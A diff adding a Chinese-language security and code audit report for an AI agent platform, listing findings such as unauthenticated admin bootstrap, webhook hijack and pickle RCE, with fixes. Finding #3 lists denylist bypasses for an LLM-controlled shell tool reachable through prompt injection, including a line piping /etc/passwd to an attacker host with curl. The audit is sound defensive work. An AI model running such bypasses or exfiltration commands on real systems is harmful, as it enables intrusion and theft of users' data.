|
|
@@ -0,0 +1,756 @@
|
|
|
+# 项目审计 — 2026-06-05
|
|
|
+
|
|
|
+## 执行摘要
|
|
|
+
|
|
|
+- **整体健康度:黄色,安全边界偏红。** lambdagent kernel 以及 Phase 1/2 P0/P1 的工作(CEK、cost vector、instance 机制)经得起审视——bug 集中在 **PaaS 层的边缘**(auth、多 tenant、打包)以及未获得与 core 同等工程严谨度的 **example agent 代码**。
|
|
|
+- **7 个 critical 发现,3 个类别。** (1) 两个无 auth 的接管接口(`POST /api/v1/setup/bootstrap`、`POST /api/v1/feishu/bind`)把 admin scope 的 API key 或 process-wide 的 bot 重绑能力交给任何先到 8000 端口的人;(2) `agentexample/agent67/tools/shell_executor.py` 在 `shell=True` 下执行 LLM 产出的字符串,仅用子串匹配 blocklist(轻易绕过)——经由 prompt injection 的 RCE;(3) 发布的 `agentpaas` 包结构上无法构建:`pyproject.toml` 未声明 `lambdagent` 依赖且使用 `where = [".."]`,打出来是空 wheel;外加真实 SiliconFlow/Amap key 离泄漏只差一条 `.gitignore` 规则,躺在 `agentexample/travelagent67/.env`。
|
|
|
+- **架构债真实存在但集中。** 四套并存的 beta-reduction 解释器(Term.apply / async_core monkey-patch / executor isinstance / cek_machine isinstance)解释了 Q2 审计标记的 trace 分裂和 capture-environment 问题。1654 行的 `compiler.py` god module 里塞着一个 474 行的 `_compile_react` 闭包,重复实现了 agentruntime 的 ReAct engine。`agentpaas → lambdagent` 的边界靠在 request handler 里 inline 的 `from lambdagent...` import 维持,还伸手到带下划线的 private 里。
|
|
|
+- **超出 critical 之外的主要安全风险:** dev Docker compose 硬编码了一个公开的 master key(`dev_auto_generated`);rate-limit middleware 对无 auth 流量整段跳过(`if not api_key: return await call_next(request)`);`/analyze/*` 和 `/feishu/*` router 没有 `Depends(get_tenant)`;`rollback_agent` 跳过 RBAC + audit log;agent 到 KB 的链接不做 tenant scope(运行时跨 tenant 读 KB);`/providers/*` 把明文 key 写到全局文件并 process-wide mutate `os.environ`;secrets vault 用无 salt 的单轮 SHA-256 推导 AES-256-GCM key。
|
|
|
+- **tests-vs-product 的差距是 single biggest non-security 风险。** `agents.py` + `knowledge.py` 共 3477 LOC 的 FastAPI route handler **零** 集成测试(`tests/` 下找不到 `TestClient`、`httpx`)。`authenticate()`——包括往 `api_keys.key_hash` 写入的 legacy-hash 自动迁移——没有任何 test。新的 `agents.agent_template` / `instance_dir` DB 列被 test suite 完全没用上,尽管它们是已文档化的多 tenant template-vs-instance 模型的承重件。
|
|
|
+- **docs 与 code 正在快速漂移。** README.md 里 Quick-Start 的 Python DSL 例子用了不存在的 `Loop(max_iterations=)` 和 `Memory(strategy=, size=)` kwargs,新用户复制粘贴的第一行就崩;YAML schema 只接受 5 个 `type:` 值,docs 却宣传 11 个;`from-config-spec.md §13.1` 声称支持嵌套 sub-agent 编译,但 `_compile_chain` 静默把 `type: react`/`type: guard` step 的语义降级成无状态 `Lam`。根目录的 `CONTRIBUTING.md` 仍写 MIT,而 `LICENSE` 是 BUSL-1.1。
|
|
|
+
|
|
|
+## 方法学
|
|
|
+
|
|
|
+- **Pipeline:** 12 个 finder 在 6 个维度扇出——code correctness × 4 区域(`lambdagent`、`agentpaas`、`webui`、`agentexample`),architecture × 2(`monorepo`、`internals`),security × 4(CSO 风格:secrets、injection、auth、supply-chain),加上 tests-gaps、docs-accuracy、spec-vs-impl。
|
|
|
+- **对抗式验证:** 每条 finding 由 **3 个独立 verifier agent** 在三个不同视角下复核——correctness(代码是否真的做了所声称的事?)、evidence(引用的片段是否原文、在生产路径上、不是 test/mock/comment?)、impact(真实 user / operator / attacker 是否合理地命中?)。每个 verifier 返回 `real: true|false` 和 `severity_adjusted`。
|
|
|
+- **survival rule:** 只有 **≥2/3 verifier** 投 real 的 finding 才进入这份报告。severity 取三个调整后值的中位数(并列时取更保守的一个)——不是原始 finder 给的 severity。
|
|
|
+- **数字:** finder 提出 100+ 条 → 经过三视角对抗复核后 **确认 84 条**。被丢掉的 16 条要么不可达(finder 误把 dead code 路径当作 live 路径)、要么是无具体 impact 路径的 structural smell、要么是与其他 finding 重根因的重复项。
|
|
|
+
|
|
|
+## 按严重度分组的发现
|
|
|
+
|
|
|
+### 严重 (7)
|
|
|
+
|
|
|
+#### 1. `POST /api/v1/setup/bootstrap` 无 auth 创建 admin tenant
|
|
|
+- **文件:** `agentpaas/api/v1/setup.py:41`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ @router.post("/bootstrap")
|
|
|
+ async def bootstrap():
|
|
|
+ ...
|
|
|
+ db.execute("INSERT INTO api_keys ... json.dumps([\"agents:*\", \"keys:*\", \"billing:read\", \"admin:*\"]) ...")
|
|
|
+ return {"status": "created", "api_key": key, "tenant_id": tid}
|
|
|
+ ```
|
|
|
+- **影响:** 任何在 operator 跑 setup 之前先到达 server 的无 auth 网络调用方拿到完整 `admin:*` API key。router 在 `app.py:125` 没挂任何 auth dependency;默认 bind 是 `0.0.0.0`。竞态窗口就是 `start.sh` 到第一次正式 setup 调用之间的整段时间。`tenant_exists` 分支只在已经有 tenant 行 *之后* 才生效——对实际暴露窗口毫无用处。
|
|
|
+- **修复:** `/setup/bootstrap` 只 bind 到 loopback;或要求一次性 token,在 server 首次启动时打到 console。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 2. `/feishu/bind` 和 `/feishu/webhook` 既无 auth 也无签名验证——跨 tenant agent 劫持
|
|
|
+- **文件:** `agentpaas/api/v1/feishu.py:53`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ @router.post("/bind")
|
|
|
+ async def feishu_bind(request: Request):
|
|
|
+ data = await request.json()
|
|
|
+ agent_id = data.get("agent_id", "")
|
|
|
+ _runner = make_paas_runner(agent_id) # module-level singleton!
|
|
|
+ os.environ["FEISHU_AGENT_ID"] = agent_id
|
|
|
+
|
|
|
+ @router.post("/webhook")
|
|
|
+ async def feishu_webhook(request: Request):
|
|
|
+ """加密策略: 不加密(开发阶段)"""
|
|
|
+ body = await request.json()
|
|
|
+ result = await loop.run_in_executor(None, handle_event, body, _get_runner())
|
|
|
+ ```
|
|
|
+- **影响:** 任何人都能 POST 到 `/api/v1/feishu/bind` 带上另一个 tenant 的 `agent_id`,process-wide 地成为那个 agent 的飞书 bot(runner 是 module singleton,`os.environ` mutation 是 process-global)。然后 `/api/v1/feishu/webhook` 接受任意伪造事件、不验 `X-Lark-Signature`、跑 agent 并把 output 返给 attacker。两请求 exploit chain,前提仅为网络可达。
|
|
|
+- **修复:** `/feishu/bind` 要求 admin scope 的 `TenantContext`;限制 `agent_id` 必须属于调用方 tenant;`/feishu/webhook` 验证 `X-Lark-Signature`。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 3. LLM 控制的 shell 命令以 `shell=True` 跑在轻易绕过的 denylist 后
|
|
|
+- **文件:** `agentexample/agent67/tools/shell_executor.py:33`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ result = subprocess.run(
|
|
|
+ cmd, shell=True, capture_output=True, text=True,
|
|
|
+ timeout=30, cwd=os.path.expanduser("~"),
|
|
|
+ )
|
|
|
+ # safety.py: DANGEROUS_PATTERNS = ["rm -rf /", "rm -rf ~", "sudo rm -rf", ...]
|
|
|
+ ```
|
|
|
+- **影响:** 子串匹配 denylist 被 `rm -rf /`(两个空格)、`/bin/rm -rf /`、`python -c "import shutil; shutil.rmtree(...)"`、`find / -delete`、`> ~/.zshrc`、`cat /etc/passwd | curl -d@- attacker` 轻松绕开。从 agent 吃下的任何 prompt-injection sink 都可达。`cwd=$HOME` 把爆炸半径定到用户的 home dir。(一位 verifier 指出当前这个函数未挂到 agent67 的 tool registry,但文件仍然 ship,离 RCE 只差一根 wire。)
|
|
|
+- **修复:** 去掉 `shell=True`;要求 argv list;白名单二进制;或走 `agentpaas/engine/sandbox.py`。
|
|
|
+- **维度:** sec-injection
|
|
|
+
|
|
|
+#### 4. `agentpaas/pyproject.toml` 漏声明 `lambdagent` 依赖,尽管有 17+ 处 import
|
|
|
+- **文件:** `agentpaas/pyproject.toml:10`
|
|
|
+- **证据:**
|
|
|
+ ```toml
|
|
|
+ dependencies = [
|
|
|
+ "fastapi>=0.100.0",
|
|
|
+ "uvicorn[standard]>=0.20.0",
|
|
|
+ "pydantic>=2.0",
|
|
|
+ "pyyaml>=6.0",
|
|
|
+ ]
|
|
|
+ ```
|
|
|
+- **影响:** `agentpaas` 至少在 17 处 import `lambdagent`(`agents.py:1330,1399,1415,1416`、`analyze.py:29,46,47,67,112`、`engine/cache.py:41`、`engine/sandbox.py:207,208`、`launch.py:184` 等),却未声明依赖。clean 环境下 `pip install agentpaas` 装出一个坏掉的包:每个 agent 执行接口首次调用都会抛 `ModuleNotFoundError`。CI commit `874896e` 只修了测试环境。
|
|
|
+- **修复:** 在 `[project.dependencies]` 里加 `lambdagent @ file:../lambdagent`(或发布版本号 pin)。
|
|
|
+- **维度:** arch-monorepo
|
|
|
+
|
|
|
+#### 5. `agentexample/travelagent67/.env` 携带真实 SiliconFlow + Amap API key
|
|
|
+- **文件:** `agentexample/travelagent67/.env:1-2`
|
|
|
+- **证据:**
|
|
|
+ ```
|
|
|
+ AMAP_MCP_KEY=<SCRUBBED-32-char-hex>
|
|
|
+ SILICONFLOW_API_KEY=<SCRUBBED-sk-prefix-48-chars>
|
|
|
+ ```
|
|
|
+ *(原文 quote 了两把真实 key 的字面值;为避免审计报告自身成为新的泄漏点,已替换为占位符。原值仍在仓库本地 .env 中——见 fix 部分。)*
|
|
|
+- **影响:** 真实 key(SiliconFlow `sk-` 前缀符合官方 key 格式)落在仓库目录里。当前被 `.gitignore` 挡住(line 134 & 227),`git ls-files` 确认从未被追踪——但 `.gitignore` 是唯一防线。仓库位于 Obsidian Research-Vault 目录里,云同步(iCloud / Obsidian Sync)有合理概率把明文文件 exfil 到 git 防线之外。这两把 key 因为已被引用在本审计报告里,必须当作已泄漏并 rotate。
|
|
|
+- **修复:** 立即在 vendor 侧 rotate 两把 key;用占位符替换 `.env`;新增 `.env.example`;加 pre-commit gitleaks hook。
|
|
|
+- **维度:** correctness-examples / sec-secrets
|
|
|
+
|
|
|
+#### 6. FastAPI 端点零 HTTP/API 层 test——3477 LOC 的 route handler 没有任何测试
|
|
|
+- **文件:** `tests/test_agentpaas.py:1`(缺失)
|
|
|
+- **证据:**
|
|
|
+ ```
|
|
|
+ $ grep -rln "TestClient\|httpx\|fastapi.testclient" tests/ lambdagent/tests/
|
|
|
+ (no matches)
|
|
|
+ ```
|
|
|
+- **影响:** 整个对外 PaaS 面——agent CRUD、knowledge upload、jobs、route 层 RBAC 强制、`audit_log` INSERT、每条 WHERE 里的 tenant_id scope——都可能在 CI 全绿的情况下在生产里坏掉。任意一处 SQL 语句的 `tenant_id` filter 拼错都会跨 tenant 泄漏数据,而 test 依旧 pass。SEC-04(上一版审计的"API 层未强制 RBAC")在没有 route 层 test 的前提下结构性不可检测。
|
|
|
+- **修复:** 新增 `tests/test_api_*.py`,用 `fastapi.testclient.TestClient` 对接 sqlite-in-memory app fixture;覆盖 auth dependency、RBAC 拒绝路径、tenant 隔离、knowledge upload happy path。
|
|
|
+- **维度:** tests-gaps
|
|
|
+
|
|
|
+#### 7. `agentexample/agent67/tools/shell_executor.py` —— LLM 控制的 shell 以 `shell=True` 执行
|
|
|
+*(与 #3 重复——保留在原 critical bucket 里,因为三人 verifier 在两轮投票里都落在 critical,并且文件真实 ship。当作同一个 root cause:换掉实现,不要 patch blocklist。)*
|
|
|
+
|
|
|
+---
|
|
|
+
|
|
|
+### 高 (33)
|
|
|
+
|
|
|
+#### 8. `async_executor` 在共享 Context 上 race —— async path 上违反 Paper II Prop 30
|
|
|
+- **文件:** `lambdagent/src/lambdagent/agentruntime/async_executor.py:242`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ tasks = [
|
|
|
+ self.reduce(a, input_val, ctx, cancel.child(), timeout)
|
|
|
+ for a in par.agents
|
|
|
+ ]
|
|
|
+ return tuple(await asyncio.gather(*tasks))
|
|
|
+ ```
|
|
|
+- **影响:** `_reduce_par`(240-246 行)和 `_reduce_pair`(248-254 行)把 **同一个** `ctx` 交给所有并发分支——只 fork 了 cancellation token。`multiagent.py:681` 里的 sync `AsyncPar` 正确地 `forked_ctxs = [ctx.fork() for _ in self.agents]`。并发分支因此从不同 asyncio task 同时 mutate 同一个 `ctx.trace` list 和 `ctx.memory` dict:trace 条目非确定性交错;任何往 `ctx.memory` 写(Memory/SharedMemory 封装)的 agent 都会失去 Prop 30 的 confluence 保证。Q2 audit 的 BUG-01 在另一条 code path 上以同样形态复发。
|
|
|
+- **修复:** 对齐 sync path:`forked = [ctx.fork() for _ in par.agents]`;把 `forked[i]` 传给每个 task;gather 之后 `for f in forked: ctx.merge_trace(f)`。Pair 同理。
|
|
|
+- **维度:** correctness-lambdagent
|
|
|
+
|
|
|
+#### 9. fromconfig sub-agent caller 跨 sub-agent 边界丢 cancellation
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:388`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ try:
|
|
|
+ result = _compiled_cache[_name].apply(task, Context())
|
|
|
+ return str(result)
|
|
|
+ except Exception as e:
|
|
|
+ return f"[SubAgent {_name} error: {e}]"
|
|
|
+ ```
|
|
|
+- **影响:** 每次 sub-agent 调用都被塞了一个全新空 `Context()`,丢掉 parent 的 `workspace_path`、`run_id`、`memory` 和 trace。宽泛的 `except Exception` 还会吞掉 `CancelledRun` 并转成普通字符串——orchestrator 看到一个 'tool error' 然后继续,而不是 cancel。
|
|
|
+- **修复:** 用闭包捕获 parent ctx(`_shared_ctx` 已存在);缩小 except,让 `CancelledRun` 透传。
|
|
|
+- **维度:** correctness-lambdagent
|
|
|
+
|
|
|
+#### 10. async handler 用同步 `term.apply()` 阻塞 event loop —— 一个慢 agent 拖死所有其他请求
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:1467`(原引为 1453)
|
|
|
+- **证据:** `result = term.apply(input_text, ctx)` 在 `def _execute_agent` 内被调用,而该函数来自 `async def run_agent`。`apply` 是同步的(`lambdagent/core.py:208`),所以多步 LLM/tool 执行(秒到分钟级)跑在 FastAPI event loop 线程上。`agentpaas/engine/sandbox.py:211` 的 `async def _exec_inprocess` 里有同样模式。
|
|
|
+- **影响:** 任何一次 in-process agent run 都会冻结整个 FastAPI worker——health check、status poll、cancel 接口全都卡住。无论 asyncio.Semaphore 是多少,单 worker 有效并发是 1。streaming 版本正确用了 daemon 线程;sync `/run` 接口和 in-process sandbox path 没有。
|
|
|
+- **修复:** `await asyncio.get_event_loop().run_in_executor(None, term.apply, input_text, ctx)`。
|
|
|
+- **维度:** correctness-agentpaas
|
|
|
+
|
|
|
+#### 11. 模块全局 shell CWD 被每个请求 mutate —— 并发 run 互相 race,写入对方 workspace
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:1413-1415`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd
|
|
|
+ _shell_set_cwd(workspace_path)
|
|
|
+ ```
|
|
|
+ 作者明确的注释:*"This is process-global state — concurrent runs in the same process would race on it ... acceptable for the current single-tenant deployment but worth revisiting before enabling parallel runs."*
|
|
|
+- **影响:** 两个重叠的 `/run` 调用:run A 的 Bash tool 把文件写进 run B 的 workspace。损坏 artifact、破坏 `cycle_N` 续跑、泄漏 tenant 数据、让续跑指向垃圾。已经写在注释里但没修;与多 tenant SPEC 声明矛盾。现实触发点是 KB 索引线程 + 聊天流量。
|
|
|
+- **修复:** 每 asyncio task 用 `contextvars.ContextVar`,或在每次 Bash tool 调用里把 cwd 显式穿过去。
|
|
|
+- **维度:** correctness-agentpaas
|
|
|
+
|
|
|
+#### 12. secret-at-rest 的 key derivation 是无 salt 的单轮 SHA-256 —— 无 PBKDF2/Argon2,无 per-secret salt
|
|
|
+- **文件:** `agentpaas/secrets/vault.py:11`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ def _derive_key(master_key: str) -> bytes:
|
|
|
+ return hashlib.sha256(master_key.encode()).digest()
|
|
|
+ ```
|
|
|
+- **影响:** 每个 secret 都用 `sha256(master_key)` 派生的 AES-256-GCM 加密——无 stretching、无 per-secret salt、无 per-tenant key 隔离。master key 一旦泄漏,每个 tenant 的 secret 都 O(1) 破解。弱/dev master key 用 SHA-256(非 memory-hard)暴力破解成本极低。
|
|
|
+- **修复:** `scrypt` 或 PBKDF2-HMAC-SHA256 ≥100k iters + per-secret salt;理想是 per-tenant HKDF。
|
|
|
+- **维度:** correctness-agentpaas
|
|
|
+
|
|
|
+#### 13. 共享单一 SQLite 连接(`check_same_thread=False`)+ 全局 singleton,被并发 async handler 共用
|
|
|
+- **文件:** `agentpaas/db/models.py:35`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ self.conn = sqlite3.connect(db_path, check_same_thread=False)
|
|
|
+ ```
|
|
|
+ 外加 `agentpaas/db/session.py:5` 的 `_db: Database = None` 被 `get_db()` 返给每个请求。
|
|
|
+- **影响:** 每个 request、SSE stream、background worker(`_run_index_job` 线程在 `knowledge.py:909,938,1296,1319`)、agent-run 线程(`agents.py:791`)共用一个 `sqlite3.Connection`。cursor 状态、事务、`commit()` 都不是 concurrent-safe——交错的 INSERT/UPDATE 可能破坏 cursor、抛 "Recursive use of cursors not allowed"、或把别的 request 的事务半提交。
|
|
|
+- **修复:** per-request 连接通过 FastAPI dependency,或换 SQLAlchemy engine 加 pool。
|
|
|
+- **维度:** correctness-agentpaas
|
|
|
+
|
|
|
+#### 14. `rollback_agent` 缺 RBAC 检查、缺 audit log,跨 tenant 调用静默 200-OK
|
|
|
+- **文件:** `agentpaas/api/v1/agents.py:272-292`
|
|
|
+- **证据:** 没有 `require_permission(tenant, "agents:write")`;version SELECT 缺 `tenant_id` filter;UPDATE 的 `tenant_id = ?` 失败时静默 0 行变更但接口仍返回 `"Rolled back"`;没有 `_audit_log` 调用。对照 `update_agent`(line 207-208)和 `delete_agent`(line 262-263),它们两项都做了。
|
|
|
+- **影响:** 任意已认证用户(甚至只读 key)都能调 rollback;可以通过 404-vs-200 枚举其他 tenant 的 version 号;静默失败掩盖入侵;缺 audit trail。
|
|
|
+- **修复:** 加 `require_permission` + `_audit_log`;version SELECT 加 `AND tenant_id = ?`;检查 `cursor.rowcount`。
|
|
|
+- **维度:** correctness-agentpaas
|
|
|
+
|
|
|
+#### 15. `Chat.tsx` 的 SSE stream 在用户离开页面时不被取消 —— 后端继续 spawn subprocess
|
|
|
+- **文件:** `webui/src/pages/Chat.tsx:862`(sendMessage cleanup)以及缺失的 unmount effect
|
|
|
+- **证据:** 没有 `useEffect(() => () => abortRef.current?.(), [])`。657-661 行的 inline 注释明确说没有 `/cancel` POST 时 *"the agent's background thread keeps spawning claude subprocesses even after the SSE connection is dead."* 然而页面导航从不触发那个 POST。
|
|
|
+- **影响:** 流式中点回 /agents → 后端 run 泄漏,SSE reader 继续在已 unmount 的 component 上 `setMessages`。付费 Claude backend 上这是每次随手返回直接烧钱,chat header 的回退按钮就能触发。
|
|
|
+- **修复:** 给 Chat() 加 `useEffect(() => () => { abortRef.current?.() }, [])`,让导航触发 Stop 逻辑。
|
|
|
+- **维度:** correctness-webui
|
|
|
+
|
|
|
+#### 16. `qaagent67lambda` template 到处硬编码 `/home/67/knowledge/finance` —— fresh clone 完全跑不起来
|
|
|
+- **文件:** `agentexample/qaagent67lambda/agent-config.yml:179`
|
|
|
+- **证据:** 13 个 path key 硬编码 `/home/67/knowledge/finance`(line 179-185、218、223、247-253)。`scripts/deploy_domain.sh:43` 是 `KNOW_DIR="/home/67/knowledge/$DOMAIN"`,`docker run -v /home/67:/home/67`。连号称便携性逃生口的 `scripts/instance.yml.template:14-24` 也硬编码 `/home/67/`。
|
|
|
+- **影响:** 在 macOS 或 Windows 上 clone 的用户不重写每条 path 就跑不起来这个 template。template-instance 机制并没有像设计那样解决便携性。
|
|
|
+- **修复:** 替换为 `${KNOWLEDGE_ROOT:-./knowledge}/<domain>`,让 instance.yml 提供具体路径。
|
|
|
+- **维度:** correctness-examples
|
|
|
+
|
|
|
+#### 17. `qaagent67lambda` 用 `pickle.load` 加载 vector index 元数据 —— 共享 knowledge 目录被污染即 RCE
|
|
|
+- **文件:** `agentexample/qaagent67lambda/scripts/search_engine.py:52`
|
|
|
+- **证据:** `search_engine.py:52,54`、`search_engine_v2.py:95`、`build_vector_index.py:87` 全都 `pickle.load(...)` `agent-config.yml` 里引用的文件(`vectorMeta: /home/67/knowledge/finance/rag_vectors_meta_v2.pkl`)。
|
|
|
+- **影响:** pickle 反序列化是无限制 code execution。`deploy_domain.sh` 把 `/home/67:/home/67` bind-mount 进去,并指导 operator 从外部源把 `.pkl` 落进共享目录。任何能往 knowledge 目录写 `.pkl` 的人都能以 QA service 进程身份执行代码。memory 里记录的 maritime/finance/clean 三个线上部署都暴露。
|
|
|
+- **修复:** metadata 改成 JSON 或 numpy `.npz`;pickle 走 `--unsafe-pickle` + HMAC 闸门。
|
|
|
+- **维度:** correctness-examples
|
|
|
+
|
|
|
+#### 18. `agentpaas` 包布局用 `where = [".."]` 把自己 pin 到了自己目录之外
|
|
|
+- **文件:** `agentpaas/pyproject.toml:22-26`
|
|
|
+- **证据:**
|
|
|
+ ```toml
|
|
|
+ [tool.setuptools.package-dir]
|
|
|
+ agentpaas = "."
|
|
|
+ [tool.setuptools.packages]
|
|
|
+ find = {namespaces = false, where = [".."], include = ["agentpaas", "agentpaas.*"]}
|
|
|
+ ```
|
|
|
+- **影响:** 实测复现:从 `agentpaas/` 跑 `python -m build --sdist`,再 `pip install` 那个 tarball,得到的 wheel **只有 metadata**(5 个文件,1.2KB)——零源码。装完之后 `import agentpaas` 会失败。CI commit `874896e` 之所以被需要正是这个原因。**这个包今天作为可发布 wheel 是 unbuildable 的。**
|
|
|
+- **修复:** 切换到 src-layout(`agentpaas/src/agentpaas/`)像 lambdagent 那样;或用 `where = ["."]` 配自包含的 `package-dir`。
|
|
|
+- **维度:** arch-monorepo
|
|
|
+
|
|
|
+#### 19. Compiler(Layer 4)伸手抓 Runtime(Layer 5)的 ReAct event 类型
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:845`
|
|
|
+- **证据:** `from lambdagent.agentruntime.react_engine import StepEvent, STEP_THINK` 在 `_compile_react` 的闭包里被构造(在 988、1000、1026 重复出现;外加 line 766 的 `agentruntime.cancel` import)。
|
|
|
+- **影响:** SPEC 的 5 层模型把 Compiler 放在 Runtime 之下:Compiler emit Term,Runtime interpret Term。这里 compiler 同步构造并 dispatch runtime-specific 事件,让产出的 term 不再 interpreter-agnostic,制造了循环层对。
|
|
|
+- **修复:** 定义 runtime-中立的 `core.events.StepEvent` protocol;compiler 和 react_engine 都从那里 import。
|
|
|
+- **维度:** arch-internals
|
|
|
+
|
|
|
+#### 20. beta-reduction 被四套并行解释(Term.apply、async_core monkey-patch、executor、cek_machine)
|
|
|
+- **文件:** `lambdagent/src/lambdagent/__init__.py:117`(import-time monkey-patch 钩子)
|
|
|
+- **证据:** 四套实现并存:(a) 每个 Term 类上的 OOP `apply()`、(b) `async_core.py` 在 import 时给 14 个 Term 子类 monkey-patch `aapply`、(c) `agentruntime/executor.py:49` 11 分支 isinstance dispatch、(d) `cek_machine.py:465-601` 8+ 分支 isinstance。
|
|
|
+- **影响:** 每个构造子的语义编码在 4 个地方。加新构造子或改一条规则要改 4 个不相关文件。Q2 audit 的 BUG-04(CEK 丢失 captured environment)和 BUG-01(Context.fork 浅拷贝)是这些实现漂移的直接症状。import-time monkey-patching 破坏 test 依赖的 closed-world 假设。
|
|
|
+- **修复:** 选一种 strategy(CEK 最 principled),其余降级为薄 adapter。monkey-patching 换成普通 class method。
|
|
|
+- **维度:** arch-internals
|
|
|
+
|
|
|
+#### 21. `compiler.py` 是 1654 行的 god module,里面有个 474 行的 `_compile_react` 闭包
|
|
|
+- **文件:** `lambdagent/src/lambdagent/fromconfig/compiler.py:627`
|
|
|
+- **证据:** `_compile_react` 跨 627-1109 行,在一个闭包里做:ReAct step loop、prompt 装配、tool 抽取、tool gateway 接线、cancellation 轮询、4 个阶段的流式 step event、termination 启发式、state 压缩、session 检测,以及对 12 个其他包的 lazy import。重复了 `agentruntime/react_engine.py` 的 loop 逻辑(319 行)。
|
|
|
+- **影响:** "改 ReAct loop" 和 "改 YAML 怎么编译" 被强行变成同一个 edit。两套 ReAct loop 各自维护独立 trace——Q2 audit BUG-06(trace 三路分叉)的 root cause。未提交 diff 显示它至今还在这里被持续 patch,没回流上游。
|
|
|
+- **修复:** 把 `_compile_react` 闭包抽成 `agentruntime/react_loop.py` 里的一个真正的 class。把 `_inject_resistant_prompt`、`_compress_state`、`_extract_tool_call` 拉到 `fromconfig/prompts.py`。
|
|
|
+- **维度:** arch-internals
|
|
|
+
|
|
|
+#### 22. 任何 React error boundary 都不存在 —— 单个渲染错误把整个 app 白屏
|
|
|
+*(原始 high,verifier 把 impact 调成 medium;在下方 medium 区报告)*
|
|
|
+
|
|
|
+#### 23. Chat 历史恢复 effect 用非 functional setState —— race 覆盖正在流式的回复
|
|
|
+*(原始 high,调整为 medium;在 medium 区报告)*
|
|
|
+
|
|
|
+#### 24. dev Docker Compose 硬编码静态 AES-256-GCM master key fallback(`"dev_auto_generated"`)
|
|
|
+- **文件:** `docker-compose.dev.yml:35`
|
|
|
+- **证据:** `AGENTPAAS_MASTER_KEY: "${AGENTPAAS_MASTER_KEY:-dev_auto_generated}"`
|
|
|
+- **影响:** 没有 env override 时,字面字符串 `"dev_auto_generated"` 就是 master key。`vault.py:_derive_key` 把它 hash 成 AES-256-GCM key material。每条 dev secret 都用一把公开提交的 key 加密。dev 环境里通常存着真实的 Anthropic / OpenAI / DashScope / 飞书 API key。data 目录是 host-mount 的;attacker exfil SQLite secrets 表后可以离线解所有内容。
|
|
|
+- **修复:** 去掉 `:-default`,让 compose 像生产那样 fail fast。用 `install-native.sh` / `start.sh` 的 `token_hex(32)` 生成。
|
|
|
+- **维度:** sec-secrets
|
|
|
+
|
|
|
+#### 25. rate-limit middleware 对 Authorization 头为空的请求静默放行
|
|
|
+- **文件:** `agentpaas/api/app.py:45`
|
|
|
+- **证据:**
|
|
|
+ ```python
|
|
|
+ api_key = request.headers.get("authorization", "")[:20]
|
|
|
+ if not api_key or request.url.path in ("/health", "/", "/docs", "/redoc"):
|
|
|
+ return await call_next(request)
|
|
|
+ ```
|
|
|
+- **影响:** 无 Authorization header → 零 throttle。每个 unauthenticated 端点(`/setup/bootstrap`、`/feishu/bind`、`/feishu/webhook`、`/analyze/*`、SPA fallback)都没有 rate limit,包括上面的 bootstrap-race 和 DoS 向量。20 字符前缀分桶本身也错——不同 key 共享前缀会撞桶;attacker 反过来枚举不同前缀就拿到不同桶,per-bucket 暴力破解不被 throttle。
|
|
|
+- **修复:** unauthenticated 用 client IP 限流;authenticated 用完整 tenant_id(通过 `Depends`,不是 header 切片)。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 26. 整个 `/analyze/*` router 没 auth —— DoS + 免费算力
|
|
|
+- **文件:** `agentpaas/api/v1/analyze.py:25`
|
|
|
+- **证据:** 五个 `/analyze` 端点都没声明 `Depends(get_tenant)`。`_compile` 把用户 YAML 写到 tmpfile 并跑 `from_config()`,无 size / time / depth 上限。
|
|
|
+- **影响:** 任何 internet 调用方提交任意 config 就能触发完整 lambdagent compiler。叠加空 Authorization 时的 rate-limit bypass,per-IP 也没限流。便宜的 CPU DoS,外加 kernel lint 规则信息泄漏。
|
|
|
+- **修复:** 每个 analyze 端点加 `Depends(get_tenant)`;限制 request body 大小;卡 term 最大深度。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 27. `/knowledge/{kb_id}/files` 任意 host 文件注册(无 containment 检查)
|
|
|
+- **文件:** `agentpaas/api/v1/knowledge.py:856`
|
|
|
+- **证据:** `add_files` 接受 `AddFilesRequest.file_paths` 里的绝对路径,只验 `p.is_file()`,从不检查 `p` 是否在 `kb["root_dir"]` 下。line 1050 的 wiki 端点 *的确* 做了 containment 检查,说明这套代码知道这个 pattern。
|
|
|
+- **影响:** authenticated tenant 把 `/etc/passwd`、`~/.ssh/id_rsa`、`~/.aws/credentials` 注册到自己 KB 下。(一位 verifier 指出索引脚本扫的是 `kb_root`,不是注册路径,所以端到端 exfil chain 取决于下游谁读 `kb_files.file_path`——但注册这步本身就是 IDOR primitive,仅 audit-trail 混乱就足够要求修复。)
|
|
|
+- **修复:** `Path(fp).resolve()`,拒绝除非 `str(resolved).startswith(str(Path(kb["root_dir"]).resolve()) + os.sep)`。
|
|
|
+- **维度:** sec-injection
|
|
|
+
|
|
|
+#### 28. `/jobs/{job_id}` IDOR —— 读和取消都不做 tenant scope
|
|
|
+- **文件:** `agentpaas/api/v1/jobs.py:15`
|
|
|
+- **证据:** `get_job` 和 `cancel_job` 都注入了 `tenant: TenantContext`,但从不比对 `job.tenant_id`。Job dataclass 上已经有这个字段。同级的 `traces.py:14` 和 `agents.py:160` 正确强制 `WHERE id=? AND tenant_id=?`。
|
|
|
+- **影响:** 任何 authenticated tenant 拿到 job_id 都能读另一个 tenant 的 job 结果(PII、agent trace)或 cancel 别人正在跑的 job(DoS)。
|
|
|
+- **修复:** `job.tenant_id != tenant.tenant_id` 时拒绝(返回 404 而不是 403,避免 id oracle)。
|
|
|
+- **维度:** sec-auth
|
|
|
+
|
|
|
+#### 29. `/providers/*` 把明文 API key 写进全局文件并写进 process env,无 tenant 分区
|
|
|
